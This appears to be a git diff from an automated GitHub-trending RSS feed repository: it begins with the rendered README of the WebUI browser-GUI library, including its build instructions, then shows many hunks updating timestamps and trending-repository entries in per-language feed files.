<p><a href="https://github.com/webui-dev/webui/actions?query=branch%3Amain"><img src="https://img.shields.io/github/actions/workflow/status/webui-dev/webui/ci.yml?branch=main&style=for-the-badge&logo=githubactions&labelColor=414868&logoColor=C0CAF5" alt=""></a> <a href="https://github.com/webui-dev/webui/pulse"><img src="https://img.shields.io/github/last-commit/webui-dev/webui?style=for-the-badge&logo=github&logoColor=C0CAF5&labelColor=414868" alt=""></a> <a href="https://github.com/webui-dev/webui/releases/latest"><img src="https://img.shields.io/github/v/tag/webui-dev/webui?style=for-the-badge&logo=webtrees&logoColor=C0CAF5&labelColor=414868&color=7664C6" alt=""></a> <a href="https://github.com/webui-dev/webui/raw/main/LICENSE"><img src="https://img.shields.io/github/license/webui-dev/webui?style=for-the-badge&logo=opensourcehardware&label=License&logoColor=C0CAF5&labelColor=414868&color=8c73cc" alt=""></a></p>
<blockquote>
<p>WebUI is not a web-server solution or a framework, but it allows you to use any web browser as a GUI, with your preferred language in the backend and HTML5 in the frontend. All in a lightweight portable lib.</p>
</blockquote>
<p><img src="https://github.com/webui-dev/webui/assets/34311583/57992ef1-4f7f-4d60-8045-7b07df4088c6" alt="Screenshot"></p>
</div>
<h2>Download</h2>
<ul>
<li><a href="https://github.com/webui-dev/webui/releases">Latest Stable Release</a></li>
<li><a href="https://github.com/webui-dev/webui/releases/tag/nightly">Nightly Build</a></li>
</ul>
<h2>Contents</h2>
<ul>
<li><a href="https://raw.githubusercontent.com/webui-dev/webui/main/#features">Features</a></li>
<li><a href="https://raw.githubusercontent.com/webui-dev/webui/main/#showcase">Showcase</a></li>
<li><a href="https://raw.githubusercontent.com/webui-dev/webui/main/#ui--the-web-technologies">UI & The Web Technologies</a></li>
<li><a href="https://raw.githubusercontent.com/webui-dev/webui/main/#documentation">Documentation</a></li>
<li><a href="https://raw.githubusercontent.com/webui-dev/webui/main/#build">Build</a></li>
<li><a href="https://raw.githubusercontent.com/webui-dev/webui/main/#examples">Examples</a></li>
<li><a href="https://raw.githubusercontent.com/webui-dev/webui/main/#wrappers">Wrappers</a></li>
<li><a href="https://raw.githubusercontent.com/webui-dev/webui/main/#supported-web-browsers">Supported Web Browsers</a></li>
<li><a href="https://raw.githubusercontent.com/webui-dev/webui/main/#license">License</a></li>
</ul>
<h2>Features</h2>
<ul>
<li>Portable (<em>Needs only a web browser at runtime</em>)</li>
<li>One header file</li>
<li>Lightweight (<em>Few Kb library</em>) & Small memory footprint</li>
<li>Fast binary communication protocol</li>
<li>Multi-platform & Multi-Browser</li>
<li>Using private profile for safety</li>
</ul>
<h2>Showcase</h2>
<p>This <a href="https://github.com/webui-dev/webui/tree/main/examples/C/text-editor">text editor</a> is a lightweight and portable example written in C using WebUI as the GUI library.</p>
<div align="center">
<p><img src="https://github.com/webui-dev/webui/assets/34311583/c1ccf29c-806a-4742-bfd7-a3dc30cab70b" alt="Example"></p>
</div>
<h2>UI & The Web Technologies</h2>
<p><a href="https://ibob.bg/">Borislav Stanimirov</a> discusses using HTML5 in the web browser as GUI at the <a href="https://www.youtube.com/watch?v=bbbcZd4cuxg">C++ Conference 2019 (<em>YouTube</em>)</a>.</p>
<!-- <div align="center">
<a href="https://www.youtube.com/watch?v=bbbcZd4cuxg"><img src="https://img.youtube.com/vi/bbbcZd4cuxg/0.jpg" alt="Embrace Modern Technology: Using HTML 5 for GUI in C++ - Borislav Stanimirov - CppCon 2019"></a>
</div> -->
<div align="center">
<p><img src="https://github.com/webui-dev/webui/assets/34311583/4e830caa-4ca0-44ff-825f-7cd6d94083c8" alt="CPPCon"></p>
</div>
<p>Web application UI design is not just about how a product looks but how it works. Using web technologies in your UI makes your product modern and professional, And a well-designed web application will help you make a solid first impression on potential customers. Great web application design also assists you in nurturing leads and increasing conversions. In addition, it makes navigating and using your web app easier for your users.</p>
<h3>Why Use Web Browsers?</h3>
<p>Today's web browsers have everything a modern UI needs. Web browsers are very sophisticated and optimized. Therefore, using it as a GUI will be an excellent choice. While old legacy GUI lib is complex and outdated, a WebView-based app is still an option. However, a WebView needs a huge SDK to build and many dependencies to run, and it can only provide some features like a real web browser. That is why WebUI uses real web browsers to give you full features of comprehensive web technologies while keeping your software lightweight and portable.</p>
<h3>How Does it Work?</h3>
<div align="center">
<p><img src="https://github.com/ttytm/webui/assets/34311583/dbde3573-3161-421e-925c-392a39f45ab3" alt="Diagram"></p>
</div>
<p>Think of WebUI like a WebView controller, but instead of embedding the WebView controller in your program, which makes the final program big in size, and non-portable as it needs the WebView runtimes. Instead, by using WebUI, you use a tiny static/dynamic library to run any installed web browser and use it as GUI, which makes your program small, fast, and portable. <strong>All it needs is a web browser</strong>.</p>
<h3>Runtime Dependencies Comparison</h3>
<table>
<thead>
<tr>
<th></th>
<th>WebView</th>
<th>Qt</th>
<th>WebUI</th>
</tr>
</thead>
<tbody>
<tr>
<td>Runtime Dependencies on Windows</td>
<td><em>WebView2</em></td>
<td><em>QtCore, QtGui, QtWidgets</em></td>
<td><strong><em>A Web Browser</em></strong></td>
</tr>
<tr>
<td>Runtime Dependencies on Linux</td>
<td><em>GTK3, WebKitGTK</em></td>
<td><em>QtCore, QtGui, QtWidgets</em></td>
<td><strong><em>A Web Browser</em></strong></td>
</tr>
<tr>
<td>Runtime Dependencies on macOS</td>
<td><em>Cocoa, WebKit</em></td>
<td><em>QtCore, QtGui, QtWidgets</em></td>
<td><strong><em>A Web Browser</em></strong></td>
</tr>
</tbody>
</table>
<h2>Documentation</h2>
<blockquote>
<p><strong>Note</strong> We are currently writing documentation.</p>
</blockquote>
<ul>
<li><a href="https://webui.me/docs/#/c_api">Online Documentation - C</a></li>
<li><a href="https://webui.me/docs/#/cpp_api">Online Documentation - C++</a></li>
</ul>
<h2>Build</h2>
<ul>
<li> <p><strong>Windows</strong></p> <pre><code class="language-powershell"># GCC
mingw32-make
# MSVC
nmake
</code></pre> <p><strong>Windows SSL/TLS (<em>Optional</em>)</strong></p> <p>Download and install the OpenSSL pre-compiled binaries for Windows:</p>
<ul>
<li>MSVC: <a href="https://slproweb.com/download/Win64OpenSSL-3_1_3.msi">x64 OpenSSL v3.1.3</a> or <a href="https://slproweb.com/download/Win32OpenSSL-3_1_3.msi"><em>32Bit</em></a>. Please check this <a href="https://wiki.openssl.org/index.php/Binaries">Wiki list</a> for more info.</li>
<li>MinGW: <a href="https://curl.se/windows/">Curl for Windows win OpenSSL</a></li>
</ul> <pre><code class="language-powershell"># GCC
mingw32-make WEBUI_USE_TLS=1 WEBUI_TLS_INCLUDE="C:\curl-xxx-xxx-mingw\curl-xxx-xxx-mingw\include" WEBUI_TLS_LIB="C:\curl-xxx-xxx-mingw\curl-xxx-xxx-mingw\lib"
# MSVC
nmake WEBUI_USE_TLS=1 WEBUI_TLS_INCLUDE="C:\Program Files\OpenSSL-xxx\include" WEBUI_TLS_LIB="C:\Program Files\OpenSSL-xxx\lib"
</code></pre> </li>
<li> <p><strong>Linux</strong></p> <pre><code class="language-sh"># GCC
make
# Clang
make CC=clang
</code></pre> <p><strong>Linux SSL/TLS (<em>Optional</em>)</strong></p> <pre><code class="language-sh">sudo apt update
sudo apt install libssl-dev
# GCC
make WEBUI_USE_TLS=1
# Clang
make WEBUI_USE_TLS=1 CC=clang
</code></pre> </li>
<li> <p><strong>macOS</strong></p> <pre><code class="language-sh">make
</code></pre> <p><strong>macOS SSL/TLS (<em>Optional</em>)</strong></p> <pre><code class="language-sh">brew install openssl
make WEBUI_USE_TLS=1
</code></pre> </li>
</ul>
<h2>Examples</h2>
<ul>
<li><a href="https://github.com/webui-dev/webui/tree/main/examples/C">C</a></li>
<li><a href="https://github.com/webui-dev/webui/tree/main/examples/C++">C++</a></li>
</ul>
<h2>Wrappers</h2>
<table>
<thead>
<tr>
<th>Language</th>
<th>Status</th>
<th>Link</th>
</tr>
</thead>
<tbody>
<tr>
<td>Go</td>
<td>โ๏ธ</td>
<td><a href="https://github.com/webui-dev/go-webui">Go-WebUI</a></td>
</tr>
<tr>
<td>Nim</td>
<td>โ๏ธ</td>
<td><a href="https://github.com/webui-dev/nim-webui">Nim-WebUI</a></td>
</tr>
<tr>
<td>Pascal</td>
<td>โ๏ธ</td>
<td><a href="https://github.com/webui-dev/pascal-webui">Pascal-WebUI</a></td>
</tr>
<tr>
<td>Python</td>
<td>โ๏ธ</td>
<td><a href="https://github.com/webui-dev/python-webui">Python-WebUI</a></td>
</tr>
<tr>
<td>Rust</td>
<td><em>not complete</em></td>
<td><a href="https://github.com/webui-dev/rust-webui">Rust-WebUI</a></td>
</tr>
<tr>
<td>TypeScript / JavaScript</td>
<td>โ๏ธ</td>
<td><a href="https://github.com/webui-dev/deno-webui">Deno-WebUI</a></td>
</tr>
<tr>
<td>V</td>
<td>โ๏ธ</td>
<td><a href="https://github.com/webui-dev/v-webui">V-WebUI</a></td>
</tr>
<tr>
<td>Zig</td>
<td><em>not complete</em></td>
<td><a href="https://github.com/webui-dev/zig-webui">Zig-WebUI</a></td>
</tr>
<tr>
<td>Odin</td>
<td><em>not complete</em></td>
<td><a href="https://github.com/webui-dev/odin-webui">Odin-WebUI</a></td>
</tr>
</tbody>
</table>
<h2>Supported Web Browsers</h2>
<table>
<thead>
<tr>
<th>Browser</th>
<th>Windows</th>
<th>macOS</th>
<th>Linux</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mozilla Firefox</td>
<td>โ๏ธ</td>
<td>โ๏ธ</td>
<td>โ๏ธ</td>
</tr>
<tr>
<td>Google Chrome</td>
<td>โ๏ธ</td>
<td>โ๏ธ</td>
<td>โ๏ธ</td>
</tr>
<tr>
<td>Microsoft Edge</td>
<td>โ๏ธ</td>
<td>โ๏ธ</td>
<td>โ๏ธ</td>
</tr>
<tr>
<td>Chromium</td>
<td>โ๏ธ</td>
<td>โ๏ธ</td>
<td>โ๏ธ</td>
</tr>
<tr>
<td>Yandex</td>
<td>โ๏ธ</td>
<td>โ๏ธ</td>
<td>โ๏ธ</td>
</tr>
<tr>
<td>Brave</td>
<td>โ๏ธ</td>
<td>โ๏ธ</td>
<td>โ๏ธ</td>
</tr>
<tr>
<td>Vivaldi</td>
<td>โ๏ธ</td>
<td>โ๏ธ</td>
<td>โ๏ธ</td>
</tr>
<tr>
<td>Epic</td>
<td>โ๏ธ</td>
<td>โ๏ธ</td>
<td><em>not available</em></td>
</tr>
<tr>
<td>Apple Safari</td>
<td><em>not available</em></td>
<td><em>coming soon</em></td>
<td><em>not available</em></td>
</tr>
<tr>
<td>Opera</td>
<td><em>coming soon</em></td>
<td><em>coming soon</em></td>
<td><em>coming soon</em></td>
</tr>
</tbody>
</table>
<h3>License</h3>
<blockquote>
<p>Licensed under MIT License.</p>
</blockquote>
<h3>Stargazers</h3>
<p><a href="https://github.com/webui-dev/webui/stargazers"><img src="https://reporoster.com/stars/webui-dev/webui" alt="Stargazers repo roster for @webui-dev/webui"></a></p>
\ No newline at end of file
diff --git a/alloy/daily/index.xml b/alloy/daily/index.xml
index 8237acf5775..4fa7d609f0f 100644
--- a/alloy/daily/index.xml
+++ b/alloy/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Alloy Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:33Z
+ 2024-01-04T01:25:49ZDaily Trending of Alloy in GitHub
\ No newline at end of file
diff --git a/alpine-abuild/daily/index.xml b/alpine-abuild/daily/index.xml
index 19bd8783057..49665af5ad4 100644
--- a/alpine-abuild/daily/index.xml
+++ b/alpine-abuild/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Alpine Abuild Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:32Z
+ 2024-01-04T01:25:51ZDaily Trending of Alpine Abuild in GitHub
\ No newline at end of file
diff --git a/altium-designer/daily/index.xml b/altium-designer/daily/index.xml
index eb0d46b6afd..95206a45d97 100644
--- a/altium-designer/daily/index.xml
+++ b/altium-designer/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Altium Designer Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:32Z
+ 2024-01-04T01:25:50ZDaily Trending of Altium Designer in GitHub
\ No newline at end of file
diff --git a/ampl/daily/index.xml b/ampl/daily/index.xml
index f8bff9ac30e..a628326902d 100644
--- a/ampl/daily/index.xml
+++ b/ampl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub AMPL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:34Z
+ 2024-01-04T01:25:55ZDaily Trending of AMPL in GitHub
\ No newline at end of file
diff --git a/angelscript/daily/index.xml b/angelscript/daily/index.xml
index ad09fef81b5..33c3c86ae79 100644
--- a/angelscript/daily/index.xml
+++ b/angelscript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub AngelScript Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:35Z
+ 2024-01-04T01:25:54ZDaily Trending of AngelScript in GitHub
\ No newline at end of file
diff --git a/ant-build-system/daily/index.xml b/ant-build-system/daily/index.xml
index ac335baee40..948b64eab60 100644
--- a/ant-build-system/daily/index.xml
+++ b/ant-build-system/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Ant Build System Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:36Z
+ 2024-01-04T01:25:53ZDaily Trending of Ant Build System in GitHub
\ No newline at end of file
diff --git a/antlr/daily/index.xml b/antlr/daily/index.xml
index 659e3f0e275..04b0125f8cb 100644
--- a/antlr/daily/index.xml
+++ b/antlr/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ANTLR Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:38Z
+ 2024-01-04T01:25:57ZDaily Trending of ANTLR in GitHub
\ No newline at end of file
diff --git a/apacheconf/daily/index.xml b/apacheconf/daily/index.xml
index 3b0f3ab2817..0914206aac8 100644
--- a/apacheconf/daily/index.xml
+++ b/apacheconf/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ApacheConf Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:39Z
+ 2024-01-04T01:25:56ZDaily Trending of ApacheConf in GitHub
\ No newline at end of file
diff --git a/apex/daily/index.xml b/apex/daily/index.xml
index ed0be7e4685..f43fd887838 100644
--- a/apex/daily/index.xml
+++ b/apex/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Apex Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:40Z
+ 2024-01-04T01:25:58ZDaily Trending of Apex in GitHub
\ No newline at end of file
diff --git a/api-blueprint/daily/index.xml b/api-blueprint/daily/index.xml
index d8d0f4d38e6..7af53a3dd82 100644
--- a/api-blueprint/daily/index.xml
+++ b/api-blueprint/daily/index.xml
@@ -1,7 +1,7 @@
GitHub API Blueprint Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:38Z
+ 2024-01-04T01:25:57ZDaily Trending of API Blueprint in GitHub
\ No newline at end of file
diff --git a/apl/daily/index.xml b/apl/daily/index.xml
index dee1b433503..9e6d2689cf4 100644
--- a/apl/daily/index.xml
+++ b/apl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub APL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:41Z
+ 2024-01-04T01:26:02ZDaily Trending of APL in GitHub
\ No newline at end of file
diff --git a/apollo-guidance-computer/daily/index.xml b/apollo-guidance-computer/daily/index.xml
index 8d6a73089b1..24f2d98d682 100644
--- a/apollo-guidance-computer/daily/index.xml
+++ b/apollo-guidance-computer/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Apollo Guidance Computer Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:43Z
+ 2024-01-04T01:25:59ZDaily Trending of Apollo Guidance Computer in GitHub
\ No newline at end of file
diff --git a/applescript/daily/index.xml b/applescript/daily/index.xml
index b79f08fcb27..da7d5e6a4e2 100644
--- a/applescript/daily/index.xml
+++ b/applescript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub AppleScript Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:43Z
+ 2024-01-04T01:26:00ZDaily Trending of AppleScript in GitHub
\ No newline at end of file
diff --git a/arc/daily/index.xml b/arc/daily/index.xml
index c2aba3cc68c..f1c034ddd4d 100644
--- a/arc/daily/index.xml
+++ b/arc/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Arc Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:42Z
+ 2024-01-04T01:26:01ZDaily Trending of Arc in GitHub
\ No newline at end of file
diff --git a/asciidoc/daily/index.xml b/asciidoc/daily/index.xml
index 81b7fb214c3..23c0a74a0c9 100644
--- a/asciidoc/daily/index.xml
+++ b/asciidoc/daily/index.xml
@@ -1,7 +1,7 @@
GitHub AsciiDoc Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:45Z
+ 2024-01-04T01:26:03ZDaily Trending of AsciiDoc in GitHub
\ No newline at end of file
diff --git a/asl/daily/index.xml b/asl/daily/index.xml
index f8933950857..c8bce6db256 100644
--- a/asl/daily/index.xml
+++ b/asl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ASL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:47Z
+ 2024-01-04T01:26:04ZDaily Trending of ASL in GitHub
\ No newline at end of file
diff --git a/asn.1/daily/index.xml b/asn.1/daily/index.xml
index f50d68255b5..eae1254cdab 100644
--- a/asn.1/daily/index.xml
+++ b/asn.1/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ASN.1 Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:46Z
+ 2024-01-04T01:26:04ZDaily Trending of ASN.1 in GitHub
\ No newline at end of file
diff --git a/asp.net/daily/index.xml b/asp.net/daily/index.xml
index 19d56b620f8..172a0a67199 100644
--- a/asp.net/daily/index.xml
+++ b/asp.net/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ASP.NET Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:49Z
+ 2024-01-04T01:26:07ZDaily Trending of ASP.NET in GitHub
\ No newline at end of file
diff --git a/aspectj/daily/index.xml b/aspectj/daily/index.xml
index f0e86ef1523..2ffd26467f2 100644
--- a/aspectj/daily/index.xml
+++ b/aspectj/daily/index.xml
@@ -1,7 +1,7 @@
GitHub AspectJ Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:48Z
+ 2024-01-04T01:26:06ZDaily Trending of AspectJ in GitHub
\ No newline at end of file
diff --git a/assembly/daily/index.xml b/assembly/daily/index.xml
index 60a925b23d0..a8d425f7ac1 100644
--- a/assembly/daily/index.xml
+++ b/assembly/daily/index.xml
@@ -1,14 +1,14 @@
GitHub Assembly Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:53Z
+ 2024-01-04T01:26:11ZDaily Trending of Assembly in GitHub
- jvisser/golden-axe-32x-edition
- 2024-01-03T01:25:53Z
- tag:github.com,2024-01-03:/jvisser/golden-axe-32x-edition
-
- <p>Golden Axe ROM hack for the Sega Mega Drive/Genesis that adds 32X support</p><hr>
+ mschwartz/assembly-tutorial
+ 2024-01-04T01:26:11Z
+ tag:github.com,2024-01-04:/mschwartz/assembly-tutorial
+
+ <p>Programming in assembly language tutorial</p><hr>
\ No newline at end of file
diff --git a/astro/daily/index.xml b/astro/daily/index.xml
index f389d1c36e0..c84ee89f8e8 100644
--- a/astro/daily/index.xml
+++ b/astro/daily/index.xml
@@ -1,28 +1,14 @@
GitHub Astro Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:51Z
+ 2024-01-04T01:26:09ZDaily Trending of Astro in GitHub
- Sh4yy/tiny-stack
- 2024-01-03T01:25:51Z
- tag:github.com,2024-01-03:/Sh4yy/tiny-stack
-
- <p>A simple and tiny stack for building web applications using Astro, SQLite, and Litestream.</p><hr>
-
-
- grbrlks/its-wednesday-my-dudes
- 2024-01-03T01:25:51Z
- tag:github.com,2024-01-03:/grbrlks/its-wednesday-my-dudes
-
- <p></p><hr>
-
-
- osalinasv/uuid-webapp
- 2024-01-03T01:25:51Z
- tag:github.com,2024-01-03:/osalinasv/uuid-webapp
-
- <p>A simple webtool for generating and converting UUIDv4</p><hr>
+ yacosta738/lyra
+ 2024-01-04T01:26:09Z
+ tag:github.com,2024-01-04:/yacosta738/lyra
+
+ <p>SMRO</p><hr>
\ No newline at end of file
diff --git a/asymptote/daily/index.xml b/asymptote/daily/index.xml
index 4d975a0b345..8926e29bab5 100644
--- a/asymptote/daily/index.xml
+++ b/asymptote/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Asymptote Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:54Z
+ 2024-01-04T01:26:14ZDaily Trending of Asymptote in GitHub
\ No newline at end of file
diff --git a/ats/daily/index.xml b/ats/daily/index.xml
index 1a5ca776b26..c86dd35022c 100644
--- a/ats/daily/index.xml
+++ b/ats/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ATS Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:56Z
+ 2024-01-04T01:26:13ZDaily Trending of ATS in GitHub
\ No newline at end of file
diff --git a/augeas/daily/index.xml b/augeas/daily/index.xml
index 9443bf96231..d7b5feaa2a7 100644
--- a/augeas/daily/index.xml
+++ b/augeas/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Augeas Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:55Z
+ 2024-01-04T01:26:12ZDaily Trending of Augeas in GitHub
\ No newline at end of file
diff --git a/autohotkey/daily/index.xml b/autohotkey/daily/index.xml
index e86f4fe2d47..5116b271d0e 100644
--- a/autohotkey/daily/index.xml
+++ b/autohotkey/daily/index.xml
@@ -1,7 +1,7 @@
GitHub AutoHotkey Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:57Z
+ 2024-01-04T01:26:15ZDaily Trending of AutoHotkey in GitHub
\ No newline at end of file
diff --git a/autoit/daily/index.xml b/autoit/daily/index.xml
index 80c2555f4dd..f7590e3ee8a 100644
--- a/autoit/daily/index.xml
+++ b/autoit/daily/index.xml
@@ -1,7 +1,7 @@
GitHub AutoIt Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:59Z
+ 2024-01-04T01:26:17ZDaily Trending of AutoIt in GitHub
\ No newline at end of file
diff --git a/avro-idl/daily/index.xml b/avro-idl/daily/index.xml
index 2c1d6aa9b4c..be30843dd75 100644
--- a/avro-idl/daily/index.xml
+++ b/avro-idl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Avro IDL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:00Z
+ 2024-01-04T01:26:18ZDaily Trending of Avro IDL in GitHub
\ No newline at end of file
diff --git a/awk/daily/index.xml b/awk/daily/index.xml
index 49d889601b7..4c418140d7c 100644
--- a/awk/daily/index.xml
+++ b/awk/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Awk Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:01Z
+ 2024-01-04T01:26:18ZDaily Trending of Awk in GitHub
\ No newline at end of file
diff --git a/ballerina/daily/index.xml b/ballerina/daily/index.xml
index acef80cb3c5..1aec2ba90be 100644
--- a/ballerina/daily/index.xml
+++ b/ballerina/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Ballerina Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:58Z
+ 2024-01-04T01:26:16ZDaily Trending of Ballerina in GitHub
\ No newline at end of file
diff --git a/basic/daily/index.xml b/basic/daily/index.xml
index fecd2ccbf6f..6c53d6b34d4 100644
--- a/basic/daily/index.xml
+++ b/basic/daily/index.xml
@@ -1,7 +1,7 @@
GitHub BASIC Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:03Z
+ 2024-01-04T01:26:20ZDaily Trending of BASIC in GitHub
\ No newline at end of file
diff --git a/batchfile/daily/index.xml b/batchfile/daily/index.xml
index ea0bf522659..23fd42f25e0 100644
--- a/batchfile/daily/index.xml
+++ b/batchfile/daily/index.xml
@@ -1,14 +1,7 @@
GitHub Batchfile Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:06Z
+ 2024-01-04T01:26:24ZDaily Trending of Batchfile in GitHub
-
- DaytimeCoderr/RobloxPingOptimizer
- 2024-01-03T01:26:06Z
- tag:github.com,2024-01-03:/DaytimeCoderr/RobloxPingOptimizer
-
- <p></p><hr>
-
\ No newline at end of file
diff --git a/beef/daily/index.xml b/beef/daily/index.xml
index d3ada50e0ed..b596dbeda13 100644
--- a/beef/daily/index.xml
+++ b/beef/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Beef Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:03Z
+ 2024-01-04T01:26:20ZDaily Trending of Beef in GitHub
\ No newline at end of file
diff --git a/befunge/daily/index.xml b/befunge/daily/index.xml
index 395af2de4c4..d0d1b4e8a94 100644
--- a/befunge/daily/index.xml
+++ b/befunge/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Befunge Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:02Z
+ 2024-01-04T01:26:21ZDaily Trending of Befunge in GitHub
\ No newline at end of file
diff --git a/berry/daily/index.xml b/berry/daily/index.xml
index 047c1f2e259..079b447562b 100644
--- a/berry/daily/index.xml
+++ b/berry/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Berry Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:07Z
+ 2024-01-04T01:26:25ZDaily Trending of Berry in GitHub
\ No newline at end of file
diff --git a/bibtex/daily/index.xml b/bibtex/daily/index.xml
index b610e2661eb..47ea7ffffcb 100644
--- a/bibtex/daily/index.xml
+++ b/bibtex/daily/index.xml
@@ -1,7 +1,7 @@
GitHub BibTeX Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:08Z
+ 2024-01-04T01:26:26ZDaily Trending of BibTeX in GitHub
\ No newline at end of file
diff --git a/bicep/daily/index.xml b/bicep/daily/index.xml
index a48d1269374..61b3437f7bf 100644
--- a/bicep/daily/index.xml
+++ b/bicep/daily/index.xml
@@ -1,7 +1,21 @@
GitHub Bicep Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:09Z
+ 2024-01-04T01:26:27ZDaily Trending of Bicep in GitHub
+
+ msdirtbag/AzureDiagnosticSettings
+ 2024-01-04T01:26:27Z
+ tag:github.com,2024-01-04:/msdirtbag/AzureDiagnosticSettings
+
+ <p>Rapid Azure Diagnostic deployments</p><hr>
+
+
+ Azure/maximo
+ 2024-01-04T01:26:27Z
+ tag:github.com,2024-01-04:/Azure/maximo
+
+ <p>Maximo on Azure</p><hr>
+
\ No newline at end of file
diff --git a/bison/daily/index.xml b/bison/daily/index.xml
index 5897b3ea5ed..a78e953b3a3 100644
--- a/bison/daily/index.xml
+++ b/bison/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Bison Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:11Z
+ 2024-01-04T01:26:33ZDaily Trending of Bison in GitHub
\ No newline at end of file
diff --git a/bitbake/daily/index.xml b/bitbake/daily/index.xml
index 239b5ceeb15..019f2f95125 100644
--- a/bitbake/daily/index.xml
+++ b/bitbake/daily/index.xml
@@ -1,7 +1,7 @@
GitHub BitBake Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:14Z
+ 2024-01-04T01:26:36ZDaily Trending of BitBake in GitHub
\ No newline at end of file
diff --git a/blade/daily/index.xml b/blade/daily/index.xml
index 99af7084b0b..65d7d9a1266 100644
--- a/blade/daily/index.xml
+++ b/blade/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Blade Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:12Z
+ 2024-01-04T01:26:34ZDaily Trending of Blade in GitHub
\ No newline at end of file
diff --git a/blitzbasic/daily/index.xml b/blitzbasic/daily/index.xml
index f03464dd155..1e12dcf94c6 100644
--- a/blitzbasic/daily/index.xml
+++ b/blitzbasic/daily/index.xml
@@ -1,7 +1,7 @@
GitHub BlitzBasic Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:11Z
+ 2024-01-04T01:26:32ZDaily Trending of BlitzBasic in GitHub
\ No newline at end of file
diff --git a/blitzmax/daily/index.xml b/blitzmax/daily/index.xml
index ba8d70d75b4..5de93974d1e 100644
--- a/blitzmax/daily/index.xml
+++ b/blitzmax/daily/index.xml
@@ -1,7 +1,7 @@
GitHub BlitzMax Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:15Z
+ 2024-01-04T01:26:39ZDaily Trending of BlitzMax in GitHub
\ No newline at end of file
diff --git a/bluespec/daily/index.xml b/bluespec/daily/index.xml
index e3378d6c70f..66844629e1a 100644
--- a/bluespec/daily/index.xml
+++ b/bluespec/daily/index.xml
@@ -1,7 +1,7 @@
